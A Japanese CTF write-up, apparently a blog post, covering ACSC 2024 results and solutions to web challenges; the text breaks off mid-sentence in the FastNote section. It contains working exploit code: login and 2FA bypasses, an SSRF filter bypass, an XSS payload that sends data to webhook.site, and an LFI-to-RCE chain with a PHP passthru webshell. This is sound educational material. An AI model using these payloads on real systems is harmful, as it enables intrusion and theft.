3/30 - 3/31という日程で開催された。総合順位は3位で、International Cybersecurity Challenge(ICC)*1に派遣されるチームアジアのメンバーとして選ばれる条件を満たしている(eligibleな)参加者に限ると2位。国内ではいずれも1位。もっとも、総合1位ではあるもののスコアサーバではeligibleではないとされている5unkn0wnさんは、実はeligibleであるという説があるので、eligibleプレイヤーの順位は3位になるかもしれない。
(2024-04-03追記)5unkn0wnさんがeligibleになっていた。総合順位もeligibleなプレイヤーに限った順位も3位ということになる。(追記終わり)
前回、前々回のACSCでは、チームアジアのメンバーの選考にあたって国ごとにいくつか枠が設けられており、少なくとも各国につき1人は選ばれるようになっていたほか、non-maleなプレイヤーも選考手順の中で必ず2人選ばれるようになっているというルールだった。
今回はこの選考ルールに変更があり、以下のような手順となっていた。つまり、特定のカテゴリが非常に得意であるものの、ほかのカテゴリはからっきしという人であっても選ばれやすくなっていた*2。
- 総合順位で上から3人を選ぶ
- 手順1で選ばれていないプレイヤーのうち、Pwn, Rev, Web, Crypto, Hardwareの各カテゴリにおいてもっとも得点していたプレイヤーをそれぞれ1人ずつ選ぶ*3
- 残りの7人(+substitutionの2人)は、全体ランキングからカテゴリや国籍、ジェンダーの多様性を考慮しつつ選ぶ
前回はギリギリでICCに出場できたということもあり、今回は大丈夫だろうかと自信が皆無な中挑んでいたが、よほどのことがない限り通る成績を残せて満足している*4。次回は年齢のために参加資格を失ってしまうけれども、有終の美を飾れたのではないか。欲を言えば優勝したかったが。もっとも、ルール中には "For verification, the organizers may ask the top players to submit a brief writeup after the contest is over" とあるので、writeupの提出を忘れなければという話ではある。
リンク:
- [Web 100] Login! (189 solves)
- [Web 150] Too Faulty (67 solves)
- [Web 275] Buggy Bounty (54 solves)
- [Web 475] DB Explorer (14 solves)
- [Web 500] FastNote (11 solves)
- [Rev 100] compyled (50 solves)
- [Rev 250] YaraReTa (10 solves)
- [Pwn 100] rot13 (86 solves)
- [Hardware 50] An4lyz3_1t (140 solves)
- [Hardware 150] Vault (68 solves)
- [Hardware 200] picopico (55 solves)
- [Hardware 200] PWR_Tr4ce (38 solves)
- [Hardware 200] RFID_Demod (12 solves)
[Web 100] Login! (189 solves)
Here comes yet another boring login page ...
http://login-web.chal.2024.ctf.acsc.asia:5000
authored by splitline
添付ファイル: dist-login-web-c69ce99d41a01e95dab18a40def0c07953619660.tar.gz
いつもの、ログインできるだけのシステムだ。guest
/ guest
でログインできるものの、"Welcome, guest. You do not have permission to view the flag" と怒られる。
次のようなソースコードが渡されている。guest
以外のユーザでログインするとフラグが得られるようだけれども、別のユーザである user
のパスワードは完全にランダムでとても当てられそうにない。何か適当なユーザ名を入力すれば、たとえば __proto__
のような USER_DB
が持っていそうなプロパティを入力すればよいのではと一瞬考えるが、ユーザ名は6文字以下でなければならないという制約がある。
const express = require('express'); const crypto = require('crypto'); const FLAG = process.env.FLAG || 'flag{this_is_a_fake_flag}'; const app = express(); app.use(express.urlencoded({ extended: true })); const USER_DB = { user: { username: 'user', password: crypto.randomBytes(32).toString('hex') }, guest: { username: 'guest', password: 'guest' } }; app.get('/', (req, res) => { res.send(` <html><head><title>Login</title><link rel="stylesheet" href="https://cdn.simplecss.org/simple.min.css"></head> <body> <section> <h1>Login</h1> <form action="/login" method="post"> <input type="text" name="username" placeholder="Username" length="6" required> <input type="password" name="password" placeholder="Password" required> <button type="submit">Login</button> </form> </section> </body></html> `); }); app.post('/login', (req, res) => { const { username, password } = req.body; if (username.length > 6) return res.send('Username is too long'); const user = USER_DB[username]; if (user && user.password == password) { if (username === 'guest') { res.send('Welcome, guest. You do not have permission to view the flag'); } else { res.send(`Welcome, ${username}. Here is your flag: ${FLAG}`); } } else { res.send('Invalid username or password'); } }); app.listen(5000, () => { console.log('Server is running on port 5000'); });
さて、ここで型のチェックが一切行われていないことに注目する。ミドルウェアとしてJSONで渡されたリクエストボディをパースしてくれるものが有効化されていないので、そこまで自由にオブジェクトを渡せるわけではないけれども、express.urlencoded({ extended: true })
のおかげで配列等も渡せるようになっている。
ユーザ名として配列を渡すとどうなるか。USER_DB[username]
でこの username
は無理やり文字列に変換されるわけだけれども、['guest']
という配列は 'guest'
という文字列になるので、ここで guest
のユーザ情報が参照される。したがって、ここで user.password
は guest
になる。
次の username === 'guest'
というチェックだけれども、ここで username
に入っているのは配列であり、厳密な比較が使われているから false
になる。guest
であって guest
ではないという不思議な状況だ。このおかげで、そのままフラグが入手できるはずだ。
const { username, password } = req.body; if (username.length > 6) return res.send('Username is too long'); const user = USER_DB[username]; if (user && user.password == password) { if (username === 'guest') { res.send('Welcome, guest. You do not have permission to view the flag'); } else { res.send(`Welcome, ${username}. Here is your flag: ${FLAG}`); } } else {
やってみると、フラグが得られた。
$ curl http://login-web.chal.2024.ctf.acsc.asia:5000/login -d 'username[]=guest&password=guest' Welcome, guest. Here is your flag: ACSC{y3t_an0th3r_l0gin_byp4ss}
ACSC{y3t_an0th3r_l0gin_byp4ss}
[Web 150] Too Faulty (67 solves)
The admin at TooFaulty has led an overhaul of their authentication mechanism. This initiative includes the incorporation of Two-Factor Authentication and the assurance of a seamless login process through the implementation of a unique device identification solution.
http://toofaulty.chal.2024.ctf.acsc.asia:80
authored by tsolmon
残念ながらソースコードはついていない。ブラックボックス問らしい。与えられたURLにアクセスすると、次のようにログインフォームが出力された。ユーザ登録もできるようになっている。
適当なユーザで登録・ログインすると、次のような画面が表示された。"Your app role: user" ということなので、このroleをadminとかにできればフラグが得られるのかなと考えられる。ブラックボックス問ならば何をするのが目的なのか問題文等で明確にしてほしいところだ。
"Setup 2FA" というボタンを押すと、2FAを有効化できる。このQRコードは otpauth://totp/SecretKey?secret=OBWWOPSUKJDUM5LHO43U633QHZTFKMDM
という形式からもわかるようにTOTPのためのものだ。説明の通り、Google Authenticator等で読み込むと使えるようになる。
有効後に再度ログインしようとすると、次のようにコードとCAPTCHAを求められる。これはGoogle Authenticator等が吐き出すものを出力すればよい。なお、この "Trust only with device" にチェックを入れると、次回以降同じデバイスでログインしようとした場合に、このコード入力をスキップできる。
はじめ、この問題では何をすればよいかまったくわからなかった。admin
/ admin
というJoeアカウントが存在しており、このアカウントは2FAが有効化されている。このユーザでログインすればよいのかと思ったけれども、参加者が作成したユーザである可能性もある。
ただ、新たにroleがadminであるユーザを作ろうにも、登録時やログイン時に role
や admin
のようなパラメータを追加しても何も起こらない。404ページの見た目や壊れたJSONを投げたときのエラーメッセージ、X-Powered-By
ヘッダからExpress製だとわかり、またCookieが connect.sid=s:…
というような形式になっていることから、サーバサイドセッションということでCookieの改ざんの可能性もなさそう。/robots.txt
や /.git
等のファイルやディレクトリも存在しない。
CAPTCHAについて、/captcha
というAPIを叩くとSVGが返ってきて、それが描画されるので対応する文字を打つというような流れになっている。実はこの /captcha
さえ叩かなければ、CAPTCHAで入力すべき文字列は変わらないし、何度使用しても有効なままだ。コードを間違えてもアカウントのロックやら sleep
やらはなさそうなので、これで2FAのコードのブルートフォースができ、admin
をハックできるのではないかと思った。が、残念ながらこのコードは7桁の数値であるのでとても現実的ではない。
悩みつつクライアント側のコードを色々眺めていると、ログインフォームから読み込まれている /public/js/login.js
で妙な処理を見つけた。どうやらUser-Agentを元に「デバイスID」をHMAC-SHA1で計算し、これを X-Device-Id
として送信しているらしい。これで信頼されたデバイスかどうかをチェックしているのか。
const browser = bowser.getParser(window.navigator.userAgent); const browserObject = browser.getBrowser(); const versionReg = browserObject.version.match(/^(\d+\.\d+)/); const version = versionReg ? versionReg[1] : "unknown"; const deviceId = CryptoJS.HmacSHA1( `${browserObject.name} ${version}`, "2846547907" ); fetch("/login", { method: "POST", headers: { "Content-Type": "application/json", "X-Device-Id": deviceId, }, body: JSON.stringify({ username, password }), })
このデバイスの信頼周りの実装がおかしいのではないかと当たりをつける。つまり、わざわざこんな機能を実装しているのだから、これで2FAをバイパスできるような作りになっているのではないかと推測した。たとえば、デバイスの信頼はユーザ単位ではなくセッション単位になっていて、すでにログイン状態かつそのUA・デバイスIDを信頼するとしていた場合に、そのまま admin
としてログインしようとすると、2FAをバイパスしてそのままログインできるのではないかとか。とりあえず、実装してみる。
import sys import httpx u = '6767e2b9-0fc7-4647-839d-1ddc40aeb6c1' with httpx.Client(base_url='http://toofaulty.chal.2024.ctf.acsc.asia/') as client: client.post('/login', json={ 'username': u, 'password': u }) client.get('/2fa') r = client.get('/captcha') with open('captcha.svg', 'w') as f: f.write(r.text) captcha = input('CAPTCHA?> ').strip() totp = input('2fa?> ').strip() r = client.post('/verify-2fa', json={ 'token': totp, 'trustDevice': True, 'captcha': captcha }, headers={ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36', 'X-Forwarded-For': '127.0.0.1', 'X-Real-Ip': '127.0.0.1', 'X-Device-Id': '3f1a0f203f99bbb3cd334edabce03b9b19a298d3' }) if 'Verification%20failed' in r.text: print('what') sys.exit(1) if 'Invalid%20captcha' in r.text: print('what') sys.exit(1) client.get('/') ### r = client.post('/login', json={ 'username': 'admin', 'password': 'admin' }, headers={ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36', 'X-Forwarded-For': '127.0.0.1', 'X-Real-Ip': '127.0.0.1', 'X-Device-Id': '3f1a0f203f99bbb3cd334edabce03b9b19a298d3' }) print(r.text) r = client.get('/') print(r) print(r.text)
実行すると、どうやら admin
としてログインできたようで、次のようにフラグが得られた。
$ python3 s.py … <div class="message-container"> <p>Welcome to TooFaulty App</p> <p>Your app role: ACSC{T0o_F4ulty_T0_B3_4dm1n}</p> <p> For enhanced security and peace of mind, we highly encourage enabling Two-Factor Authentication (2FA). It adds an extra layer of protection to your account, ensuring that only you have access. Embrace a safer experience with just a few simple steps! </p> </div> …
ACSC{T0o_F4ulty_T0_B3_4dm1n}
この問題を解くために、Web最難関のFastNoteより時間をかけたと思う。
通常のウィンドウで "Trust …" にチェックを入れてログインし、同じブラウザのシークレットウィンドウで同じユーザでログインしたところ、2FAをスキップできた。つまり、デバイスの信頼はユーザ単位でなくセッション単位で行われているという仮説は誤っていた。
(2024-04-02追記)別のユーザでログインしたセッションを使い回したのが鍵かなと思っている。つまり、このセッションで「2FAを突破した」という情報が保存されていて、それが admin
でのログイン時にも適用されたという可能性があるのではないか。(追記終わり)
実際どこにどんなバグがあったのかがわからないし、そもそもこれが何をさせたい問題だったのか、出題者の狙いがまったくわからなかった。ソースコードが提供されていなかったり、admin
というユーザが参加者以外によって作られた、いわば本物の admin
であるということが明示されていなかったり、色々とモヤモヤする問題だった。
非常に残念なことに、出題の意図がまったく読み取れないブラックボックス問はICCのJeopardyでも出題されるので、そういう問題も解けるかどうか確かめたかった、私が見逃していただけで重要なヒントがあった等のなにかしらの合理的な理由があるのだろうと信じたいが、やっぱりソースコードを提供してもよかったのではないかと思ってしまう。
[Web 275] Buggy Bounty (54 solves)
Are you a skilled security researcher or ethical hacker looking for a challenging and rewarding opportunity? Look no further! We're excited to invite you to participate in our highest-paying Buggy Bounty Program yet.
http://buggy-bounty.chal.2024.ctf.acsc.asia:80
authored by tsolmon
添付ファイル: dist-buggy-bounty-36acd1f40113f25857d34dcedd615e6aeb953e38.tar.gz
与えられたURLにアクセスすると、次のようなバグ報告フォームが表示される。適当に入力して報告すると "Rewarded 47$" と報奨金がもらえた。これで本当に47米ドルがもらえたらよかったのだけれども。
ソースコードを確認していく。docker-compose.yml
は次の通りで、bugbounty
と reward
という2つのコンテナから構成されていることがわかる。
version: "3.8" services: bugbounty: build: context: . dockerfile: ./bugbounty/Dockerfile image: bugbounty ports: - "80:80" depends_on: - reward restart: always reward: build: context: . dockerfile: ./reward/Dockerfile image: reward environment: FLAG: "ACSC{FAKE_FLAG}" restart: always
フラグが含まれているらしい reward
から見ていこう。コードは非常にシンプルで、次のように /bounty
にアクセスするとフラグが返ってくるらしいWebサーバが動いている。
ただし、先程の docker-compose.yml
で ports
が設定されていないことからもわかるように、外部からはアクセスできない。というより、できてしまうとアクセスするだけでフラグが得られてしまい、簡単すぎて問題として成立しない。なんとかして別のコンテナ、つまり bugbounty
からこれにアクセスする必要がある。
from flask import Flask import os app = Flask(__name__) @app.route('/bounty', methods=['GET']) def get_bounty(): flag = os.environ.get('FLAG') if flag: return flag if __name__ == '__main__': app.run(host='0.0.0.0', debug=False)
bugbounty
を見ていく。もっとも重要なのは app/routes/routes.js
で、この内容は次の通り。気になるAPIが3つあるので、整理すると次のようになる:
/report_bug
: 先ほどのバグレポートをこいつが受け付ける- 受け取ったID, URL, バグの内容をそれぞれ
http://127.0.0.1/triage?id=${id}&url=${url}&report=${report}
というテンプレートに当てはめて、visit
によってadmin botがChromiumでアクセスする - なお、
visit
はauth
というCookieに適切な文字列をセット(これでisAdmin
かどうかチェックされているAPIを利用できるようになる)して、そのURLにアクセスするだけだ
- 受け取ったID, URL, バグの内容をそれぞれ
/triage
: admin botがアクセスする起点となるのがここ- 普通のHTMLにクエリパラメータの内容が展開されるだけ。HTML Injectionは存在しない
- なお、
isAdmin
でチェックされていることからわかるように、通常のユーザはアクセスできない
/check_valid_url
: 謎APIisAdmin
かどうかのチェックがあり、やはりadmin botからアクセスされている必要はあるけれども、どうやら指定したURLへアクセスし、その内容を返してくれるらしい- ただし、
ssrf-req-filter
によってアクセス先がプライベートIPアドレス等でないか確認されており、もしそうであればブロックされる
つまり、なんとかして /triage
でXSSに持ち込みたいというのと、それによってadmin botに /check_valid_url
を叩かせて http://reward:5000/bounty
の内容を取得させたいというのがこの問題の目的になる。また、reward
は名前解決すると当然プライベートIPアドレスが返ってくるが、なんとかして ssrf-req-filter
によるチェックをバイパスさせたい。
const { isAdmin, authSecret } = require("../utils/auth.js"); const express = require("express"); const router = express.Router({ caseSensitive: true }); const visit = require("../utils/bot.js"); const request = require("request"); const ssrfFilter = require("ssrf-req-filter"); router.get("/", (req, res) => { return res.render("index.html"); }); router.get("/triage", (req, res) => { try { if (!isAdmin(req)) { return res.status(401).send({ err: "Permission denied", }); } let bug_id = req.query.id; let bug_url = req.query.url; let bug_report = req.query.report; return res.render("triage.html", { id: bug_id, url: bug_url, report: bug_report, }); } catch (e) { res.status(500).send({ error: "Server Error", }); } }); router.post("/report_bug", async (req, res) => { try { const id = req.body.id; const url = req.body.url; const report = req.body.report; await visit( `http://127.0.0.1/triage?id=${id}&url=${url}&report=${report}`, authSecret ); } catch (e) { console.log(e); return res.render("index.html", { err: "Server Error" }); } const reward = Math.floor(Math.random() * (100 - 10 + 1)) + 10; return res.render("index.html", { message: "Rewarded " + reward + "$", }); }); router.get("/check_valid_url", async (req, res) => { try { if (!isAdmin(req)) { return res.status(401).send({ err: "Permission denied", }); } const report_url = req.query.url; const customAgent = ssrfFilter(report_url); request( { url: report_url, agent: customAgent }, function (error, response, body) { if (!error && response.statusCode == 200) { res.send(body); } else { console.error("Error:", error); res.status(500).send({ err: "Server error" }); } } ); } catch (e) { res.status(500).send({ error: "Server Error", }); } }); process.on("uncaughtException", (error) => { console.error("Uncaught Exception:", error); }); process.on("unhandledRejection", (reason, promise) => { console.error("Unhandled Rejection at:", promise, "reason:", reason); }); module.exports = () => { return router; };
まず ssrf-req-filter
のバイパスだけれども、これは "bypass ssrf-req-filter" みたいなクエリでググると既知のバイパス手法を紹介する記事が見つかる。HTTPSからHTTPへリダイレクトさせればよいらしい。
確かに、HTTPSのWebサイトで次のようなPHPコードをホストして、/check_valid_url
の isAdmin
のチェックを外した上でアクセスすると、ダミーのフラグが得られた。ssrf-req-filter
のチェックをバイパスできているらしい。
<?php header('Location: http://reward:5000/bounty');
次に、/triage
でXSSに持ち込みたいという件だけれども、前述の通りユーザ側から与えられる3つのパラメータはいずれもエスケープされて展開されてしまうので困る。ふと、/report_bug
でbotのアクセス先のURLを構築する際に、?id=${id}&url=${url}&report=${report}
とそのままユーザ入力を展開しており、クエリパラメータを適切にエスケープしていないことに気づく。&hoge=fuga
のようなものを入力することで、新たにパラメータを増やせるのではないか。
これで何ができるのか。/triage
では、何やら4つのJSコードを読み込んでいることに気づく。launch-….js
はAdobeのDynamic Tag Managerらしい。arg-1.4.js
はいい感じにクエリパラメータをパースしてくれるライブラリだ。
<script src="/public/js/launch-ENa21cfed3f06f4ddf9690de8077b39e81-development.min.js" async ></script> <script src="/public/js/jquery.min.js"></script> <script src="/public/js/arg-1.4.js"></script> <script src="/public/js/widget.js"></script>
widget.js
では、次の通りarg.jsを使ってクエリパラメータをパースしている。
var params = Arg.parse(location.search); if (params.highlight) { var products = document.querySelectorAll(".product"); products.forEach(function (product) { product.style.backgroundColor = ""; }); var productToHighlight = document.getElementById( "product" + params.highlight ); if (productToHighlight) { productToHighlight.style.backgroundColor = "yellow"; } }
クエリパラメータをパースしているということは、Prototype Pollutionの可能性があるのではないかと考えた。試しに a[__proto__][__proto__][abc]=b
をクエリパラメータに追加してみると、({}).abc
が 'b'
を返すようになり、確かにできていることがわかった。あとはXSSへ持ち込むためにgadgetを見つける必要があるけれども、"adobe dtm prototype pollution gadget" でググると見つかった。src
や SRC
というプロパティを汚染すればよいらしい。
あとはやるだけだ。まず、次のように http://reward:5000/bounty
へリダイレクトさせるページと、/check_valid_url
でそのページを開かせて、返ってきた内容を別の場所に投げさせるJSコードをホストするWebサイトを用意する。HTTP, HTTPSの両方でアクセスできるようにしておこう。
$ cat neko.php <?php header('Access-Control-Allow-Origin: *'); header('Content-Type: application/javascript'); ?> console.log(123); fetch('/check_valid_url?url=https://…/poyoyon.php').then(r=>r.text()).then(r=>{navigator.sendBeacon('https://webhook.site/…',r)}) $ cat poyoyon.php <?php header('Location: http://reward:5000/bounty');
続いて、&a[__proto__][__proto__][SRC]=%3Cimg/src/onerror%3dimport(%27//…/neko.php%27)%3E
のような内容のバグレポートを送信する。これでフラグが降ってきた。
ACSC{y0u_4ch1eved_th3_h1ghest_r3w4rd_1n_th3_Buggy_Bounty_pr0gr4m}
[Web 475] DB Explorer (14 solves)
Do you know what the db is?
mysql server will be restarted every 30 seconds. So, PMA will be logged out every 30 seconds. Please make sure your local payload ready.
authored by sqrtrev
添付ファイル: dist-db-exp-821ecd94f8f5b8e64d1233744b005d5eadf79e36.tar.gz
添付ファイルを展開し、まず docker-compose.yml
を見る。server
という色々入っていそうなコンテナと、pma
というphpMyAdminが動いているコンテナがあるらしい。phpMyAdminは latest
ということで既知の脆弱性を使うような問題ではないのだろうと推測する。server
について詳しく見ていこう。
version: '3.4' services: server: image: dbexplorer build: ./server ports: - "9000:80" pma: image: phpmyadmin:latest environment: - PMA_ARBITRARY=1 expose: - 80
server
ではMySQLサーバとnginxが同居している(そして前者はphpMyAdminから接続できる)。Dockerfile
で重要なのは以下の部分で、このコンテナに存在している flag
という実行ファイルを実行することで、フラグが入手できるということがわかる。なんらかの形でOSコマンドを実行できるようにしたい。
… COPY ./flag.c /tmp/flag.c RUN rm /var/www/html/index.nginx-debian.html RUN gcc /tmp/flag.c -o /flag && rm /tmp/flag.c RUN chown -R www-data /var/lib/mysql && chown -R www-data /var/run/mysqld RUN chmod 755 /etc/mysql/my.cnf RUN chmod 711 /flag …
まずはMySQLの方を見ていく。init.sql
でMySQLが初期化されており、次のように admin_debug
というデータベースが存在していること、また demo
というユーザが存在していることがわかる。demo
というユーザは admin_debug
のために作られたようだけれども、ただこのデータベースに対してほぼ何もできない。SELECT
と、CREATE TEMPORARY TABLES
で一時テーブルを作れるだけのようだ。
CREATE database admin_debug; use mysql; CREATE user 'demo'@'%' identified by 'demo'; GRANT SELECT, CREATE TEMPORARY TABLES on admin_debug.* to 'demo'@'%'; FLUSH PRIVILEGES;
nginxについて、設定ファイルを見ていく。普通にアクセスすると別コンテナのphpMyAdminのコンテンツを返すけれども、admin.pepe
という Host
を指定した場合には、このコンテナに存在しているPHPファイルにアクセスできるらしい。
upstream pma-server { server pma:80; } server { listen 80; location / { proxy_pass http://pma-server/; proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection 'upgrade'; proxy_set_header Host $host; proxy_cache_bypass $http_upgrade; } } server { listen 80; server_name admin.pepe; location ~ \.php$ { root /var/www/html; fastcgi_pass unix:/var/run/php/php7.4-fpm.sock; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; access_log /dev/null; error_log /dev/null; } }
では、この server
に存在するPHPコードを見ていく。index.php
は次の通りシンプルだ。normal
と admin
というクエリパラメータでLFIに持ち込めそうに思うけれども、その前に level
という変数が 1
もしくは 2
でないと include
にはたどり着けない。このファイルで level
は 0
に初期化されており、おそらく level_checker.php
で変わるのだろうと考える。
また、normal
もしくは admin
に :
が含まれていると弾かれてしまうけれども、これは php://filter
のようなストリームラッパーを使うことを防ごうとしているのだろう。php://filter
でフィルターをチェーンしまくって強引にRCEへ持ち込むテクニックは使えそうにない。
<html> <h1>Under development</h1> <?php define("__INDIRECT__",true); session_start(); if(!$level) $level = 0; include_once "level_checker.php"; if(preg_match('/(.*):(.*)/', $_GET['normal'].$_GET['admin'])) exit("Hmm, are you sure?"); // You can only include php file if you are not an admin! if($level == 1){ include_once $_GET['normal'].".php"; } if($level == 2) { include $_GET['admin']; } ?>
index.php
から読み込まれている level_checker.php
を見ていく。最後に level
を加算する処理があるので、これで level
が 1
になり、よって index.php
で normal
の値を include
させられるわけだ。
normal
でさらに level_checker
を指定して level_checker.php
を再度実行させれば level
を 2
に上げられるのではないかと考えたけれども、そう甘くはない。$_REQUEST['normal']
に level_checker
が含まれていないかチェックされている。
<?php if(__INDIRECT__ !== true) exit("No direct call"); session_start(); # level == 1 => normal user / no permission! # level == 2 => admin user / Hey there :) if(preg_match('/(.*)level_checker(.*)/', $_REQUEST['normal'])) exit("What are you doing? lol"); if($_SESSION['user'] === "admin") $level = 2; else $level += 1; ?>
index.php
では $_GET['normal']
が参照されているのに、level_checker.php
では $_REQUEST['normal']
が参照されていることが気になった。$_REQUEST
はPOSTで送信したパラメータも参照するけれども、もしそれとクエリパラメータで同名のものが存在していれば、どちらを優先するのだろうか。試してみよう。まず、以下のようにチェック用のPHPコードを用意する。
<?php echo 'GET: ' . $_GET['p'] . "\n"; echo 'POST: ' . $_POST['p'] . "\n"; echo 'REQUEST: ' . $_REQUEST['p'] . "\n"; ?>
php -S localhost:8000
で雑にサーバを立てて、クエリパラメータを送りつつリクエストボディでも同じ名前のパラメータを送信してみる。すると、次のように $_POST['p']
が優先された。
実はこの優先順位は request_order
ディレクティブで決まっていて、添付ファイル中の php.ini
では GP
という値が設定されていた。「登録は左から右の順に行い、後から登録した値が古い値を上書きします」ということで、確かにその通りの挙動だ。
$ curl "localhost:8000?p=GET" -d "p=POST" GET: GET POST: POST REQUEST: POST
この挙動を利用すれば、level_checker.php
によるチェック対象は適当な文字列とさせてバイパスしつつ、実際に include
されるのは level_checker.php
とするということもできそうだ。
しかしながら、まだ問題はある。index.php
で normal
パラメータで指定されたパスが include
されるわけだけれども、ここで include_once
が使われている。 index.php
では先に一度 include_once "level_checker.php"
されているため、level_checker
を再度 include
させようとしても読み込まれない。この一度読み込まれたかどうかのチェックがなかなか厳しく、/proc/self/root/var/www/html/level_checker
のようにシンボリックリンクを挟んだりしても、すでに読み込まれたものと判定されてしまう。
どういう実装になっているのか気になり、またバイパス手法がないかと思い、Xでフォローしているアカウントを対象に include_once
を検索したところ、Payloadさんによる、include_once
と require_once
の実装を解説する一連のポストがヒットした。パスの正規化に realpath
が使われているので、それを失敗させればよいというテクニックまで書いてある。その方法は /proc/self/root/proc/self/root/…
とループさせるものだった。SECCONの決勝大会で見たやつだ!
次のようなコマンドで incluide_once
によるチェックをバイパスして level_checker.php
を2回読み込ませることができ、それによって level
を 2
にできた。これで include $_GET['admin']
が走る。admin
に /etc/passwd
を指定するとユーザの一覧が返ってきて、確かに include $_GET['admin']
が実行されていることを確認できた。
$ curl -vg --output - -d "normal=hoge" -H "Host: admin.pepe" 'http://localhost:9000/index.php?normal=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/level_checker&admin=/etc/passwd'
さて、ここからRCEに持ち込む必要がある。php://filter
を使って強引にRCEへ持ち込む手法は、先述の通り残念ながら使えない。なんとかして、server
のどこかに好きなPHPコードを含むファイルを作成できないか。ここで、ようやくこのコンテナで動いているMySQLサーバを活かすのではないかと考えた。つまり、phpMyAdminからこのMySQLサーバに接続し、なにかしら一時ファイルが作成されるような操作を行えるのではないかと考えた。
わざわざ CREATE TEMPORARY TABLE
が demo
によって使えるよう許可されていたのが怪しい。これで次のようなSQL文を実行しつつ、grep -rl nekochan /var /etc
を実行する。すると、/var/lib/mysql/#innodb_temp/temp_9.ibt
というファイルがヒットした。この一時ファイルに一時テーブルの内容が書き込まれているらしい。
START TRANSACTION; USE admin_debug; CREATE TEMPORARY TABLE nekochan (nekochan TEXT(240)); INSERT INTO nekochan VALUES ('<?php passthru("/flag"); ?>'); SELECT SLEEP(100); COMMIT;
あとはやるだけだ。先程のSQL文を実行しつつ、次のコマンドを実行する。これでフラグが得られた。
$ for i in {1..100}; do curl -vg --output - -d "normal=hoge" -H "Host: admin.pepe" 'http://db-exp.vuln.live/index.php?normal=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/level_checker&admin=/var/lib/mysql/%23innodb_temp/temp_'$i'.ibt' 2>/dev/null | strings | grep ACSC; done ACSC{558b4f968cc61225d6fe55a68454334a}
ACSC{558b4f968cc61225d6fe55a68454334a}
[Web 500] FastNote (11 solves)
I heard WebAssembly is super fast, so I made a note-taking app with it. What could go wrong?
http://fastnote.chal.2024.ctf.acsc.asia:8000
Test your solution locally and submit it to the admin bot. When submitting to the admin bot, use http://chall:5000 to interact with the challenge.
authored by zeyu
添付ファイル: dist-fastnote-b0fea0571a1b370d3bf7c4debc9b9fa0de6db171.tar.gz
与えられたURLにアクセスすると、いつものという感じでメモを入力するフォームが表示された。これで作成されたメモはサーバ側では保存されず、代わりに /?s=W3siYWN0…OjF9XQ==
というようなリンクが発行され、これにアクセスすることで作成したメモを閲覧できる。
このパラメータをBase64デコードすると、次のようなJSONが出てくる。なるほど、メモを作成したり、あるいは削除したりという操作が含まれているようだ。
[ {"action":"add","title":"hoge","content":"fuga"}, {"action":"add","title":"piyo","content":"poyo"}, {"action":"delete","noteId":1} ]
ソースコードを見ていく。docker-compose.yml
は次の通り。chall
というWebサーバのためのコンテナと、admin
というadmin botのためのコンテナがあるとわかる。
$ cat docker-compose.yml version: "3" services: chall: build: ./app ports: - 5000:80 environment: - FLAG=ACSC{FAKE_FLAG} - SECRET=FAKE_SECRET admin: build: ./admin privileged: true environment: - SECRET=FAKE_SECRET - DOMAIN=chall ports: - 8000:8000
admin
から見ていく。これはadmin botがChromiumでユーザから与えられたURLにアクセスするものだけれども、コードはシンプルだ。URLへアクセスする処理は次の通り。SECRET
というCookieに、環境変数の SECRET
から与えられた秘密の文字列を設定している。
await page.setCookie({ name: 'SECRET', value: process.env.SECRET, domain: process.env.DOMAIN, path: '/', httpOnly: true, sameSite: 'lax' }) // Go to your URL await page.goto(url, { timeout: 2000, waitUntil: 'networkidle2' }) await page.waitForTimeout(2000)
chall
を見ていく。サーバ側のコードは次の通りGolangで書かれている。サーバ側では大したことはしておらず、基本的にクライアント側で色々処理をしていることがわかるけれども、2点注目したい点がある。
まず /flag
からフラグが得られるわけだけれども、ここで環境変数の SECRET
が参照されている。SECRET
というCookieがその値と一致している場合にのみフラグを返すわけだけれども、先程のadmin botの処理を照らし合わせて、admin botのみがここにアクセスできるとわかる。
もうひとつ気になるのはCSPで、script-src 'self' 'unsafe-eval'
とJavaScriptの実行に関してやや厳しいものが設定されている。ただ、default-src
含めほかのディレクティブが設定されていないのはありがたい。
package main import ( "fmt" "net/http" "os" "github.com/gin-gonic/gin" ) func main() { r := gin.Default() r.Static("/static", "./static") r.LoadHTMLGlob("templates/*.html") r.Use(func() gin.HandlerFunc { return func(c *gin.Context) { c.Writer.Header().Set("Content-Security-Policy", "script-src 'self' 'unsafe-eval'") } }()) r.GET("/", func(c *gin.Context) { c.HTML(http.StatusOK, "index.html", nil) }) r.GET("/flag", func(c *gin.Context) { secret, _ := c.Cookie("SECRET") if secret != (os.Getenv("SECRET")) { c.String(http.StatusForbidden, "You are not allowed to see the flag") return } c.String(http.StatusOK, os.Getenv("FLAG")) }) r.NoRoute(func(c *gin.Context) { c.String(http.StatusOK, fmt.Sprintf("%s not found", c.Request.URL)) }) r.Run(":5000") }
もっとも重要であろうクライアント側のコードを見ていく。main.js
は次の通り。同時に module.js
も読み込まれているけれども、これはEmscriptenによって出力されたJSファイルで、main.js
と、module.wasm
というあわせて出力されたwasmファイルとのブリッジとしての役割を担う。
main.js
はメモの追加や削除、描画等の処理が書かれている。ところどころ参照されている api
というオブジェクトに生えている関数は、module.js
を経由してwasm側の関数が呼び出されるものだ。また、JS側からも populateNoteHTMLCallback
と deleteNoteCallback
というプロパティを生やして、wasm側からJS側の populateNoteHTML
と deleteNote
を呼び出せるようにしている。
renderNotes
では innerHTML
への代入でメモが描画されており、HTML Injectionができそうに見えるけれども、残念ながらwasm側でエスケープが行われているようで、<s>test</s>
